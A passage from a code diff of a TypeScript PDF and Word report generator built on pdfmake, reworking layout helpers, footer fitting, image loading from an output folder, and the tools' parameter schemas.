pdfmake break a line with no spaces (base64,+ // minified JSON) inside the block; a '*' column is never narrower than+ // its longest word.+ widths: [PDF_CONTENT_WIDTH - 2],+ body: [[{ stack, margin: [8, 6, 8, 6] }]],+ },+ layout: {+ hLineWidth: () => 0,+ vLineWidth: (i: number) => (i === 0 ? 2 : 0),+ vLineColor: () => palette.border,+ paddingLeft: () => 0,+ paddingRight: () => 0,+ paddingTop: () => 0,+ paddingBottom: () => 0,+ fillColor: () => palette.surface,+ },+ margin: [0, 6, 0, 8],+ } as Content+}++/** Quoted passage, set off by a rule down its left edge. */+function buildBlockquote(+ paragraphs: string[],+ palette: PdfPalette,+ onImage: (image: MarkdownImage) => void+): Content {+ return {+ table: {+ widths: [PDF_CONTENT_WIDTH - 2.5],+ body: [+ [+ {+ stack: paragraphs.map((text, n) => ({+ ...parseInlineMarkdown(text, onImage),+ margin: [0, 0, 0, n < paragraphs.length - 1 ? 4 : 0],+ })),+ italics: true,+ color: palette.muted,+ margin: [10, 4, 6, 4],+ },+ ],+ ],+ },+ layout: {+ hLineWidth: () => 0,+ vLineWidth: (i: number) => (i === 0 ? 2.5 : 0),+ vLineColor: () => palette.primary,+ paddingLeft: () => 0,+ paddingRight: () => 0,+ paddingTop: () => 0,+ paddingBottom: () => 0,+ },+ margin: [0, 6, 0, 8],+ } as Content+}+function statusColorFromPalette(palette: PdfPalette, status?: string): string | undefined {if (!status) return undefinedconst s = status.toLowerCase()@@ -1134,29 +2039,239 @@ function statusColorFromPalette(palette: PdfPalette, status?: string): string |return palette.muted}+const IMAGE_ALIGNMENTS = new Set(['left', 'center', 'right'])++/** Where images come from, for the schema: the name clerum__generate_chart reports. */+const IMAGE_FILE_DESCRIPTION =+ "File name of a PNG or JPEG (GIF, WebP and SVG are converted) in the output folder, as returned by clerum__generate_chart, e.g. 'sales.png'."++/**+ * pdfmake 0.2 calls this with the nodes that follow on the same page as its+ * second argument (the bundled typings describe 0.3's query object instead).+ * A heading with nothing after it on its page but more content on the next+ * page is moved there, so it is never left alone at the foot of a page.+ */+function keepHeadingWithNext(node: Node, followingOnPage: Node[]): boolean {+ if (+ node.headlineLevel !== 1 ||+ node.pageNumbers.length !== 1 ||+ node.pageNumbers[0] >= node.pages ||+ // Already at the top of its page: moving it would only leave a blank page.+ node.startPosition.top <= PDF_TOP_MARGIN + 20+ ) {+ return false+ }+ const following = followingOnPage.filter(next => next.style !== RUNNING_STYLE)+ const content = following.find(next => next.headlineLevel !== 1)+ if (!content) return true+ // A table whose header row did not fit is carried to the next page whole,+ // yet its cells are still listed on this one; only the header id says so.+ const headerId = tableHeaderId(content)+ if (headerId === undefined) return false+ const header = following.find(next => next.id === headerId)+ return header?.startPosition.pageNumber !== node.pageNumbers[0]+}++/**+ * pdfmake hands a pageBreakBefore callback the nodes after each node on its+ * page, which it collects by scanning the rest of the document for every node,+ * and each break the callback asks for lays the whole document out again. Past+ * these sizes the check costs more than a heading left at the foot of a page.+ */+const KEEP_WITH_NEXT_MAX_NODES = 1500+const KEEP_WITH_NEXT_MAX_MOVES = 10++/** How many nodes pdfmake lays out for `content`, counted up to `limit`. */+function countNodes(content: unknown, limit: number): number {+ let count = 0+ const visit = (node: unknown): void => {+ if (count > limit || node === null || typeof node !== 'object') return+ if (Array.isArray(node)) {+ for (const item of node) visit(item)+ return+ }+ count+++ const n = node as Record<string, unknown>+ for (const key of ['stack', 'ul', 'ol', 'columns']) visit(n[key])+ const table = n.table as { body?: unknown } | undefined+ if (table) visit(table.body)+ }+ visit(content)+ return count+}++/** keepHeadingWithNext for `content`, or undefined when the document is too large for it. */+function headingKeeper(+ content: Content[]+): ((node: Node, following: Node[]) => boolean) | undefined {+ if (countNodes(content, KEEP_WITH_NEXT_MAX_NODES) > KEEP_WITH_NEXT_MAX_NODES) return undefined+ let moves = 0+ return (node: Node, following: Node[]) => {+ if (moves >= KEEP_WITH_NEXT_MAX_MOVES || !keepHeadingWithNext(node, following)) return false+ moves+++ return true+ }+}++/** The id buildTableNode gave a table's header; a right-to-left table has it last. */+function tableHeaderId(node: Node): string | undefined {+ const header = (node as { table?: { body?: Array<Array<{ id?: unknown }>> } }).table?.body?.[0]+ const id = Array.isArray(header)+ ? header.find(cell => typeof cell?.id === 'string')?.id+ : undefined+ return typeof id === 'string' && id.startsWith(TABLE_HEADER_ID) ? id : undefined+}++/** Note for a PDF or DOCX written with nothing in it. */+const EMPTY_DOCUMENT_NOTE =+ 'The document is empty: body has no text, and no title, table or image was given. ' ++ 'Pass the text to write as body.'++/** The spacer bodyToContent leaves for a blank line. */+function isBlankLine(node: Content): boolean {+ return typeof node === 'object' && node !== null && 'text' in node && node.text === ''+}++/**+ * Put each landscape table on landscape pages and return to portrait after+ * it. A heading directly above such a table moves with it. Returns the+ * orientation the document starts in.+ */+function applyPageOrientation(+ content: Content[],+ landscape: Set<Content>+): 'portrait' | 'landscape' {+ const previous = (i: number) => {+ let k = i - 1+ while (k >= 0 && isBlankLine(content[k])) k--+ return k+ }+ let initial: 'portrait' | 'landscape' = 'portrait'+ let current: 'portrait' | 'landscape' = 'portrait'+ for (let i = 0; i < content.length; i++) {+ if (isBlankLine(content[i])) continue+ const wanted = landscape.has(content[i]) ? 'landscape' : 'portrait'+ if (wanted === current) continue+ current = wanted+ let target = i+ const above = content[previous(i)] as { headlineLevel?: number } | undefined+ if (wanted === 'landscape' && above?.headlineLevel === 1) target = previous(i)+ // A break before the first node, or after the one that already ends the+ // cover page, would leave a blank page; those carry the orientation instead.+ const before = previous(target)+ if (before < 0) {+ initial = wanted+ } else if ((content[before] as { pageBreak?: string }).pageBreak === 'after') {+ Object.assign(content[before] as object, { pageOrientation: wanted })+ } else {+ Object.assign(content[target] as object, { pageBreak: 'before', pageOrientation: wanted })+ }+ }+ return initial+}++/**+ * The footer text as the lines it will take, cut to what the bottom margin+ * can hold, with a note when anything is cut.+ */+/** The longest start of `chars` that fits `fits`, at least one character. */+function longestFitting(chars: string[], fits: (text: string) => boolean): number {+ let lo = 1+ let hi = chars.length+ while (lo < hi) {+ const mid = Math.ceil((lo + hi) / 2)+ if (fits(chars.slice(0, mid).join(''))) lo = mid+ else hi = mid - 1+ }+ return lo+}++function footerLines(+ text: string,+ width: number,+ measure: UnitMeasure,+ warnings: string[]+): string[] {+ // Lines break where the typesetter breaks them, or the footer outgrows its margin.+ const fits = (s: string) => measure(s, false) * PDF_FOOTER_SIZE <= width * LINE_FILL+ const lines: string[] = []+ // Counting stops one line past the most the footer holds.+ const full = () => lines.length > PDF_MAX_FOOTER_LINES+ for (const source of text.split('\n')) {+ let line = ''+ for (const word of source.split(/(\s+)/)) {+ if (full()) break+ if (line.trim() && !fits(line + word)) {+ lines.push(line.trimEnd())+ line = word.trimStart()+ } else {+ line += word+ }+ // A word wider than the line, such as a long URL, takes as many lines as it fills.+ let chars = Array.from(line)+ while (chars.length > 1 && !fits(line) && !full()) {+ const n = longestFitting(chars, fits)+ lines.push(chars.slice(0, n).join(''))+ chars = chars.slice(n)+ line = chars.join('')+ }+ }+ if (full()) break+ lines.push(line.trimEnd())+ }+ if (!full()) return lines+ warnings.push(+ `branding.footerText takes more than ${PDF_MAX_FOOTER_LINES} lines, the most that fit in the ` ++ 'footer, so the rest was cut. Keep it to a line or two.'+ )+ const kept = lines.slice(0, PDF_MAX_FOOTER_LINES)+ kept[kept.length - 1] = `${kept[kept.length - 1]}...`+ return kept+}++/**+ * `text` cut at a word, with an ellipsis, to one line of the running header,+ * where pdfmake drops whatever does not fit without a mark.+ */+function runningLine(text: string, width: number, measure: UnitMeasure): string {+ const fits = (s: string) => measure(s, false) * PDF_FOOTER_SIZE <= width * LINE_FILL+ const all = Array.from(text)+ if (all.length <= 400 && fits(text)) return text+ // Far more than a line holds, so a huge title is never measured whole.+ const chars = all.slice(0, 400)+ let kept = chars+ .slice(+ 0,+ longestFitting(chars, s => fits(`${s.trimEnd()}…`))+ )+ .join('')+ const space = kept.lastIndexOf(' ')+ if (space > kept.length * 0.6) kept = kept.slice(0, space)+ return `${kept.trimEnd()}…`+}+const generatePdf: InternalToolDefinition = {name: 'clerum__generate_pdf',description:- 'Generate a print-quality PDF. Body accepts a subset of markdown: # / ## / ### headings, ' +- '**bold**, *italic*, `code`, GFM pipe tables, "- " bullets, "---" horizontal rules. ' +- 'Optional: images (charts, logos), explicit tables, cover page with status badge, ' +- 'page numbers + branded footer. Choose palette: default | corporate | warm | alert.',+ 'Generate a print-quality PDF from a markdown body, with optional images, tables, a cover ' ++ 'page with a status band, page numbers and a branded footer.',parameters: {type: 'object',properties: {filename: {type: 'string',- description: "Output filename (e.g. 'report.pdf'). Extension .pdf added if missing.",+ description: "Output filename, e.g. 'report.pdf'.",},title: {type: 'string',- description: 'Document title displayed at the top of the first page.',+ description: 'Document title, shown at the top of the first page.',},body: {type: 'string',description:- 'Markdown-flavored body. Headings (#, ##, ###), **bold**, *italic*, `code`, ' +- '"- " bullets, GFM pipe tables, "---" horizontal rules.',+ 'Markdown: # to ### headings, **bold**, *italic*, ~~strike~~, `code`, [links](url), ' ++ 'fenced code, "- " and "1. " lists, GFM pipe tables, "> " quotes, "---" rules, <br>/<b>/<i>, ' ++ 'and  on its own line to place an image from the output folder.',},palette: {type: 'string',@@ -1165,53 +2280,97 @@ const generatePdf: InternalToolDefinition = {},coverPage: {type: 'boolean',- description:- 'When true, render a cover page with the title, optional headline, and a status badge.',+ description: 'Add a cover page with the title, headline, logo and status band.',},headline: {type: 'string',- description: 'Optional one-line subtitle shown on the cover page beneath the title.',+ description: 'One-line subtitle under the title on the cover page.',},statusColor: {type: 'string',enum: ['green', 'yellow', 'red'],- description: 'Status indicator color rendered as a band on the cover page.',+ description: 'Color of the status band on the cover page.',},images: {type: 'array',- description: 'Images (charts, logos) to embed at the end of the body.',+ description:+ 'Images (charts, logos) placed after the body and tables, in order; ' ++ 'put  on a line of the body to place one there.',items: {- type: 'object',- required: ['path'],- properties: {- path: { type: 'string', description: 'Absolute path to a PNG/JPG file.' },- width: { type: 'number' },- height: { type: 'number' },- alignment: { type: 'string', enum: ['left', 'center', 'right'] },- },+ anyOf: [+ { type: 'string', description: IMAGE_FILE_DESCRIPTION },+ {+ type: 'object',+ required: ['path'],+ properties: {+ path: { type: 'string', description: IMAGE_FILE_DESCRIPTION },+ width: {+ type: 'number',+ description: 'Width in points (the page is 515 wide); the height follows.',+ },+ height: {+ type: 'number',+ description: 'Height in points. With width too, the image fits inside both.',+ },+ alignment: {+ type: 'string',+ enum: ['left', 'center', 'right'],+ description: "Default 'center'.",+ },+ },+ },+ ],+ description: 'A file name, or an object with path and size.',},},tables: {type: 'array',- description: 'Explicit tables (rendered after the body).',+ description: 'Tables placed after the body.',items: {type: 'object',required: ['headers', 'rows'],properties: {- headers: { type: 'array', items: { type: 'string' } },- rows: { type: 'array', items: { type: 'array' } },- widths: { type: 'array' },- layout: { type: 'string', enum: ['striped', 'minimal', 'grid'] },+ headers: {+ type: 'array',+ items: { type: ['string', 'number'], description: 'One column heading.' },+ description: 'Column headings, left to right.',+ },+ rows: {+ type: 'array',+ items: ROW_SCHEMA,+ description: 'Rows, each an array of cells in header order.',+ },+ widths: {+ type: 'array',+ items: { type: ['string', 'number'], description: 'One column width.' },+ description:+ "One per header: points, a percentage such as '30%', 'auto' or '*' (share the rest). " ++ 'Omit to size columns by content.',+ },+ layout: {+ type: 'string',+ enum: ['striped', 'minimal', 'grid'],+ description: "Default 'striped'.",+ },},},},branding: {type: 'object',- description: 'Optional branding shown in header/footer.',+ description: 'Header and footer branding.',properties: {- logoPath: { type: 'string' },- companyName: { type: 'string' },- footerText: { type: 'string' },+ logoPath: {+ type: 'string',+ description: `Logo drawn on the cover page (needs coverPage: true). ${IMAGE_FILE_DESCRIPTION}`,+ },+ companyName: {+ type: 'string',+ description: 'Shown in the running header.',+ },+ footerText: {+ type: 'string',+ description: `Footer on every page, up to ${PDF_MAX_FOOTER_LINES} lines.`,+ },},},},@@ -1219,23 +2378,109 @@ const generatePdf: InternalToolDefinition = {},async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {try {- const rawName = String(args.filename ?? 'output.pdf')- const filename = sanitizeFilename(ensureExtension(rawName, 'pdf'))- const title = args.title ? String(args.title) : undefined+ const filename = outputFilename(args.filename, 'pdf', 'output')+ const warnings: string[] = []+ const glyphs = pdfGlyphSource()+ // Titles take no formatting, so HTML in them is read as text.+ const title = args.title ? htmlToPlainText(String(args.title)) || undefined : undefinedconst body = String(args.body ?? '')const paletteName = String(args.palette ?? 'default')const palette = PDF_PALETTES[paletteName] ?? PDF_PALETTES.default- const branding = (args.branding ?? {}) as PdfBranding- const images = (args.images ?? []) as PdfImageRef[]- const tables = (args.tables ?? []) as PdfTableSpec[]+ const branding: PdfBranding = printedBranding(args.branding)+ const imageRefs = Array.isArray(args.images) ? args.images : []+ const tables = (Array.isArray(args.tables) ? args.tables : []) as PdfTableSpec[]const coverPage = Boolean(args.coverPage)- const headline = args.headline ? String(args.headline) : undefined+ const headline = args.headline+ ? htmlToPlainText(String(args.headline)) || undefined+ : undefinedconst statusBand = statusColorFromPalette(palette, args.statusColor as string | undefined)+ // A path outside the output folder still fails the call, but says what to pass instead.+ const loadImage = (ref: unknown, label: string) => {+ try {+ return loadEmbeddableImage(ref, outputDir, warnings, label)+ } catch (err) {+ const reason = err instanceof Error ? err.message : String(err)+ throw new Error(+ `${label}: ${reason}. Images are read from the output folder; pass the file name ` ++ "clerum__generate_chart returned, such as 'sales.png'."+ )+ }+ }++ // The footer sets the bottom margin, and with it the room images and tables have.+ const pageNumberWidth = 40+ // Measured at 100pt and scaled down: at 1pt the canvas rounds widths to hundredths.+ const measure: UnitMeasure = (text, bold) =>+ glyphs.measure(text, PDF_FONT_FAMILY, 100, bold) / 100+ const footer = branding.footerText+ ? footerLines(branding.footerText, PDF_CONTENT_WIDTH - pageNumberWidth, measure, warnings)+ : []+ const bottomMargin = Math.max(MIN_BOTTOM_MARGIN, 34 + footer.length * PDF_FOOTER_SIZE * 1.3)+ const contentHeight = PORTRAIT.height - (bottomMargin - MIN_BOTTOM_MARGIN)++ let imagesRequested = 0+ let imagesPlaced = 0+ const placeImage = (+ ref: unknown,+ label: string,+ sizing: { width?: unknown; height?: unknown; alignment?: unknown } = {}+ ): Content | undefined => {+ imagesRequested+++ const src = typeof ref === 'string' ? ref : undefined+ if (src && /^(https?:|data:)/i.test(src)) {+ warnings.push(+ `${label} is a web address or inline data, which is not downloaded; save the image to the ` ++ 'output folder first (clerum__generate_chart does) and pass its file name.'+ )+ return undefined+ }+ const image = loadImage(ref, label)+ if (!image) return undefined+ const requested = {+ ...(typeof sizing.width === 'number' ? { width: sizing.width } : {}),+ ...(typeof sizing.height === 'number' ? { height: sizing.height } : {}),+ }+ const sized = requested.width !== undefined || requested.height !== undefined+ const box = fitImageSize(+ image,+ {+ width: PDF_CONTENT_WIDTH,+ // An image given a size may take the page, less its own margins.+ height: sized ? contentHeight - 2 * PDF_IMAGE_MARGIN : PDF_MAX_IMAGE_HEIGHT,+ },+ requested+ )+ imagesPlaced+++ return {+ image: imageDataUrl(image),+ width: box.width,+ height: box.height,+ alignment: IMAGE_ALIGNMENTS.has(String(sizing.alignment)) ? sizing.alignment : 'center',+ margin: [0, PDF_IMAGE_MARGIN, 0, PDF_IMAGE_MARGIN],+ } as Content+ }++ const env: PdfBodyEnv = {+ warnings,+ measure,+ image: src => placeImage(src, `The body image '${src}'`),+ landscape: new Set(),+ tableCount: 0,+ tablesBuilt: 0,+ bottomMargin,+ }+const content: Content[] = []// Cover page.- if (coverPage && title) {+ if (coverPage) {+ const coverTitle = title ?? headline ?? filename.replace(/\.pdf$/, '')+ if (!title) {+ warnings.push(+ `coverPage was set without a title, so the cover shows '${coverTitle}'; pass title to choose it.`+ )+ }if (statusBand) {content.push({canvas: [@@ -1243,7 +2488,7 @@ const generatePdf: InternalToolDefinition = {type: 'rect',x: 0,y: 0,- w: 515,+ w: PDF_CONTENT_WIDTH,h: 6,color: statusBand,},@@ -1252,22 +2497,24 @@ const generatePdf: InternalToolDefinition = {})}if (branding.logoPath) {- const safeLogoPath = validateOutputPath(branding.logoPath, outputDir)- if (fs.existsSync(safeLogoPath)) {+ const logo = loadImage(branding.logoPath, 'branding.logoPath')+ if (logo) {+ const box = fitImageSize(logo, PDF_LOGO_BOX, { width: PDF_LOGO_BOX.width })content.push({- image: safeLogoPath,- width: 120,+ image: imageDataUrl(logo),+ width: box.width,+ height: box.height,margin: [0, 0, 0, 12],})}}content.push({- text: title,+ text: coverTitle,style: 'cover',color: palette.primary,margin: [0, 80, 0, 12],})- if (headline) {+ if (headline && title) {content.push({text: headline,style: 'lead',@@ -1286,38 +2533,117 @@ const generatePdf: InternalToolDefinition = {margin: [0, 0, 0, 0],pageBreak: 'after',})- } else if (title) {- content.push({- text: title,- style: 'docTitle',- color: palette.primary,- margin: [0, 0, 0, 12],- })+ } else {+ if (title) {+ content.push({+ text: title,+ style: 'docTitle',+ color: palette.primary,+ margin: [0, 0, 0, 12],+ })+ }+ const coverOnly = [+ headline ? 'headline' : '',+ args.statusColor ? 'statusColor' : '',+ branding.logoPath ? 'branding.logoPath' : '',+ ].filter(Boolean)+ if (coverOnly.length > 0) {+ const many = coverOnly.length > 1+ warnings.push(+ `${coverOnly.join(', ')} ${many ? 'are' : 'is'} only drawn on the cover page, so ` ++ `${many ? 'they were' : 'it was'} left out; pass coverPage: true to show ${many ? 'them' : 'it'}.`+ )+ }}// Body.- content.push(...bodyToContent(body, palette))+ content.push(...bodyToContent(body, palette, env))// Tables (after body).- for (const t of tables) {- if (!t || !Array.isArray(t.headers) || !Array.isArray(t.rows)) continue- const stringRows = t.rows.map(r => r.map(c => (c == null ? '' : String(c))))- content.push(buildTableNode(t.headers, stringRows, palette, t.layout ?? 'striped'))- }+ tables.forEach((t, index) => {+ const label = `tables[${index}]`+ if (!t || !Array.isArray(t.headers) || t.headers.length === 0) {+ warnings.push(`${label} has no headers and was left out; pass headers: ['Column', ...].`)+ return+ }+ const rows = normalizeTableRows(t.rows, t.headers, label, warnings).map(row =>+ row.map(cell => (cell === null || cell === undefined ? '' : String(cell)))+ )+ content.push(+ buildTableNode(+ {+ headers: t.headers.map(headerText),+ rows,+ layout: t.layout,+ widths: t.widths,+ label,+ rowLabel: row => `${label}.rows[${row}]`,+ },+ palette,+ env,+ image =>+ warnings.push(+ `${label} names the image '${image.src}' in a cell, which a table cannot hold; pass it in images instead.`+ )+ )+ )+ })// Images (charts, logos) at the end of the body.- for (const img of images) {- if (!img.path) continue- const safeImgPath = validateOutputPath(img.path, outputDir)- if (!fs.existsSync(safeImgPath)) continue- content.push({- image: safeImgPath,- ...(img.width ? { width: img.width } : { fit: [515, 320] }),- ...(img.height ? { height: img.height } : {}),- alignment: img.alignment ?? 'center',- margin: [0, 8, 0, 8],- } as Content)+ imageRefs.forEach((ref, index) => {+ const sizing = ref && typeof ref === 'object' ? (ref as PdfImageRef) : {}+ const block = placeImage(ref, `images[${index}]`, sizing)+ if (block) content.push(block)+ })++ if (imagesRequested > 0 && imagesPlaced === 0 && content.every(isBlankLine)) {+ return {+ success: false,+ error: `No PDF was written: none of the images could be embedded. ${warnings.join(' ')}`,+ }+ }+ if (content.every(isBlankLine)) warnings.push(EMPTY_DOCUMENT_NOTE)++ const pageOrientation = applyPageOrientation(content, env.landscape)++ const styles: Record<string, Record<string, unknown>> = {+ cover: { fontSize: 36, bold: true },+ lead: { fontSize: 16, italics: true },+ docTitle: { fontSize: 22, bold: true },+ h1: { fontSize: 18, bold: true, color: palette.primary },+ h2: { fontSize: 14, bold: true, color: palette.primary },+ h3: { fontSize: 12, bold: true, color: palette.muted },+ [RUNNING_STYLE]: { fontSize: PDF_FOOTER_SIZE, color: palette.muted },+ }+ const typesetter = new PdfTypesetter(glyphs, styles)+ const base = {+ width: PDF_CONTENT_WIDTH,+ font: PDF_FONT_FAMILY,+ fontSize: BODY_FONT_SIZE,+ bold: false,+ lineHeight: PDF_LINE_HEIGHT,+ }+ typesetter.typeset(content, base)++ // The running header and footer are laid out on every page, so their text+ // is typeset once here and copied into each page's nodes.+ const running = (text: string | undefined, width: number): ContentText => {+ const node: ContentText = { text: text ?? '', style: RUNNING_STYLE }+ typesetter.typeset(node, { ...base, width })+ return node}+ // The title is printed whole on the first page; the running header takes one line of it.+ const half = PDF_CONTENT_WIDTH / 2+ const company = branding.companyName && runningLine(branding.companyName, half, measure)+ if (company && company !== branding.companyName) {+ warnings.push(+ 'branding.companyName is longer than the page header and was shortened there.'+ )+ }+ const companyNode = running(company || undefined, half)+ const headerTitleNode = running(title && runningLine(title, half, measure), half)+ const footerNode = running(footer.join('\n'), PDF_CONTENT_WIDTH - pageNumberWidth)+ const copy = (node: ContentText): ContentText => JSON.parse(JSON.stringify(node))const docDef: TDocumentDefinitions = {info: {@@ -1325,50 +2651,43 @@ const generatePdf: InternalToolDefinition = {...(branding.companyName ? { creator: branding.companyName } : {}),},pageSize: 'A4',- pageMargins: [40, 60, 40, 60],- defaultStyle: { font: 'Helvetica', fontSize: 11, color: palette.text, lineHeight: 1.3 },- styles: {- cover: { fontSize: 36, bold: true },- lead: { fontSize: 16, italics: true },- docTitle: { fontSize: 22, bold: true },- h1: { fontSize: 18, bold: true, color: palette.primary },- h2: { fontSize: 14, bold: true, color: palette.primary },- h3: { fontSize: 12, bold: true, color: palette.muted },+ pageOrientation,+ pageMargins: [40, PDF_TOP_MARGIN, 40, bottomMargin],+ defaultStyle: {+ font: PDF_FONT_FAMILY,+ fontSize: BODY_FONT_SIZE,+ color: palette.text,+ lineHeight: PDF_LINE_HEIGHT,},+ styles,+ pageBreakBefore: headingKeeper(+ content+ ) as unknown as TDocumentDefinitions['pageBreakBefore'],header: (currentPage: number) =>currentPage === 1 && coverPage? null: {- columns: [- branding.companyName- ? { text: branding.companyName, color: palette.muted, fontSize: 9 }- : { text: '' },- title- ? { text: title, color: palette.muted, fontSize: 9, alignment: 'right' }- : { text: '' },- ],+ columns: [copy(companyNode), { ...copy(headerTitleNode), alignment: 'right' }],+ style: RUNNING_STYLE,margin: [40, 24, 40, 0],},footer: (currentPage: number, pageCount: number) => ({columns: [- {- text: branding.footerText ?? '',- color: palette.muted,- fontSize: 9,- },+ copy(footerNode),{text: `${currentPage} / ${pageCount}`,- color: palette.muted,- fontSize: 9,+ style: RUNNING_STYLE,alignment: 'right',+ width: pageNumberWidth,},],+ style: RUNNING_STYLE,margin: [40, 0, 40, 24],}),content,}- const printer = new PdfPrinter(PDF_FONTS)+ const printer = new PdfPrinter(glyphs.descriptors(typesetter.families))const pdfDoc = printer.createPdfKitDocument(docDef)const pdfBuffer: Buffer = await new Promise((resolve, reject) => {@@ -1380,11 +2699,11 @@ const generatePdf: InternalToolDefinition = {})ensureDir(outputDir)- enforceQuota(outputDir, pdfBuffer.byteLength)- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, pdfBuffer)+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, pdfBuffer.byteLength, replacedBytes(target))+ fs.writeFileSync(target.filePath, pdfBuffer)- return { success: true, artifact: buildArtifact(filePath, 'pdf') }+ return artifactResult(target, 'pdf', { warnings: [...warnings, ...typesetter.warnings()] })} catch (err) {return { success: false, error: err instanceof Error ? err.message : String(err) }}@@ -1393,66 +2712,15 @@ const generatePdf: InternalToolDefinition = {// ─── generate_docx ───────────────────────────────────────────────────-interface DocxPalette {- // All colors stored canonical: '#xxxxxx' lowercase (matching PDF_PALETTES).- // The docx library expects bare uppercase hex without '#'; use docxHex() at- // usage sites to convert.- primary: string- primaryDark: string- text: string- muted: string- border: string- zebra: string- surface: string-}+/** Largest logo drawn above the title, in pixels. */+const DOCX_LOGO_BOX = { width: 160, height: 60 }-const DOCX_PALETTES: Record<string, DocxPalette> = {- default: {- primary: '#0f172a',- primaryDark: '#020617',- text: '#0f172a',- muted: '#475569',- border: '#cbd5e1',- zebra: '#f8fafc',- surface: '#f1f5f9',- },- corporate: {- primary: '#1e3a8a',- primaryDark: '#1e293b',- text: '#1e293b',- muted: '#475569',- border: '#cbd5e1',- zebra: '#f1f5f9',- surface: '#e0f2fe',- },- warm: {- primary: '#b45309',- primaryDark: '#78350f',- text: '#2f2823',- muted: '#66584c',- border: '#d6d2cc',- zebra: '#fefdfb',- surface: '#f7f7f5',- },- alert: {- primary: '#9f1239',- primaryDark: '#4c0519',- text: '#1f2937',- muted: '#4b5563',- border: '#fecaca',- zebra: '#fef2f2',- surface: '#fee2e2',- },-}+/** Footer lines kept, as in the PDF. */+const DOCX_MAX_FOOTER_LINES = 6-/**- * Convert a canonical '#xxxxxx' hex (as stored in DOCX_PALETTES) to the- * bare uppercase 6-char form that the docx library expects for color/fill- * properties. Pass-through-safe for already-bare hex strings.- */-function docxHex(c: string): string {- return c.startsWith('#') ? c.slice(1).toUpperCase() : c.toUpperCase()-}+const DOCX_IMAGE_FILE_DESCRIPTION =+ "File name in the output folder, as returned by clerum__generate_chart (e.g. 'sales.png'). " ++ 'PNG, JPEG, GIF, WebP or SVG.'interface DocxBranding {companyName?: string@@ -1460,376 +2728,120 @@ interface DocxBranding {footerText?: string}-interface DocxImageRef {- path: string+interface DocxImageArg {width?: numberheight?: number- alignment?: 'left' | 'center' | 'right'+ alignment?: string}-interface DocxTableSpec {- headers: string[]- rows: (string | number | null)[][]- layout?: 'striped' | 'minimal' | 'grid'+interface DocxTableArg {+ headers?: unknown+ rows?: unknown+ layout?: unknown}-/**- * Parse inline markdown in a single line into docx TextRun objects.- * Supports **bold**, *italic*, `code`. Falls through as plain text otherwise.- */-function parseInlineMarkdownToRuns(text: string, baseColor?: string): TextRun[] {- // Same logic as parseInlineMarkdown above: non-greedy bold so nested- // single asterisks (italic) don't break `**bold *italic***`.- const runs: TextRun[] = []- let remaining = text- const inlineRe = /(\*\*[\s\S]+?\*\*|(?<!\*)\*(?!\*)[^*]+\*(?!\*)|`[^`]+`)/-- while (remaining.length > 0) {- const m = inlineRe.exec(remaining)- if (!m) {- if (remaining.length > 0) {- runs.push(new TextRun({ text: remaining, color: baseColor, size: 22 }))- }- break- }- if (m.index > 0) {- runs.push(new TextRun({ text: remaining.slice(0, m.index), color: baseColor, size: 22 }))- }- const token = m[0]- if (token.startsWith('**')) {- runs.push(new TextRun({ text: token.slice(2, -2), bold: true, color: baseColor, size: 22 }))- } else if (token.startsWith('`')) {- runs.push(- new TextRun({- text: token.slice(1, -1),- font: 'Consolas',- color: baseColor,- size: 20,- })- )- } else {- runs.push(- new TextRun({ text: token.slice(1, -1), italics: true, color: baseColor, size: 22 })- )- }- remaining = remaining.slice(m.index + token.length)- }- return runs.length > 0 ? runs : [new TextRun({ text: '', color: baseColor })]-}--function buildDocxTable(- headers: string[],- rows: string[][],- palette: DocxPalette,- layout: 'striped' | 'minimal' | 'grid' = 'striped'-): DocxTable {- // Pad/truncate each row to headers.length so ragged input doesn't- // produce a misaligned table that Word renders silently wrong.- const normalizedRows = rows.map(row => normalizeRowLength(row, headers.length))- const headerRow = new DocxTableRow({- tableHeader: true,- children: headers.map(- h =>- new DocxTableCell({- shading: { type: ShadingType.CLEAR, fill: docxHex(palette.primary), color: 'auto' },- children: [- new Paragraph({- children: [new TextRun({ text: h, bold: true, color: 'FFFFFF', size: 22 })],- }),+const generateDocx: InternalToolDefinition = {+ name: 'clerum__generate_docx',+ description:+ 'Generate a styled Word (.docx) file from a markdown body, with optional tables, images, ' ++ 'a palette and a branded header and footer with page numbers. The result lists anything ' ++ 'left out.',+ parameters: {+ type: 'object',+ properties: {+ filename: {+ type: 'string',+ description: "Output filename (e.g. 'report.docx'); .docx added if missing.",+ },+ title: {+ type: 'string',+ description: 'Title at the top, also in the running header.',+ },+ body: {+ type: 'string',+ description:+ 'Markdown: # to ###### headings, **bold**, *italic*, `code`, [links](https://...), ' ++ '"- " and "1. " lists (indent to nest), GFM pipe tables, ``` code blocks, > quotes, ' ++ '--- rules, <br>.  on its own line embeds an image from the output folder.',+ },+ palette: {+ type: 'string',+ enum: ['default', 'corporate', 'warm', 'alert'],+ description: "Color palette. Default 'default'.",+ },+ headline: {+ type: 'string',+ description: 'One-line subtitle under the title.',+ },+ images: {+ type: 'array',+ description: 'Images added after the body and tables, in order.',+ items: {+ anyOf: [+ { type: 'string', description: DOCX_IMAGE_FILE_DESCRIPTION },+ {+ type: 'object',+ required: ['path'],+ properties: {+ path: { type: 'string', description: 'Same as the string form.' },+ width: {+ type: 'number',+ description: 'Width in px; proportions are kept and the image fits the page.',+ },+ height: { type: 'number', description: 'Height in px; as for width.' },+ alignment: {+ type: 'string',+ enum: ['left', 'center', 'right'],+ description: "Default 'left'.",+ },+ },+ },],- margins: { top: 80, bottom: 80, left: 120, right: 120 },- })- ),- })-- const bodyRows = normalizedRows.map(- (row, rIdx) =>- new DocxTableRow({- children: row.map(cell => {- const stripeFill =- layout === 'striped' && rIdx % 2 === 1 ? docxHex(palette.zebra) : undefined- return new DocxTableCell({- ...(stripeFill- ? { shading: { type: ShadingType.CLEAR, fill: stripeFill, color: 'auto' } }- : {}),- children: [- new Paragraph({- children: parseInlineMarkdownToRuns(cell ?? '', docxHex(palette.text)),- }),- ],- margins: { top: 60, bottom: 60, left: 120, right: 120 },- })- }),- })- )-- const cellBorder = (- style: (typeof BorderStyle)[keyof typeof BorderStyle],- color: string,- size: number- ) => ({ style, color, size })- const noBorder = cellBorder(BorderStyle.NONE, 'auto', 0)- const lightBorder = cellBorder(BorderStyle.SINGLE, docxHex(palette.border), 4)-- let borders- if (layout === 'minimal') {- borders = {- top: lightBorder,- bottom: lightBorder,- left: noBorder,- right: noBorder,- insideHorizontal: 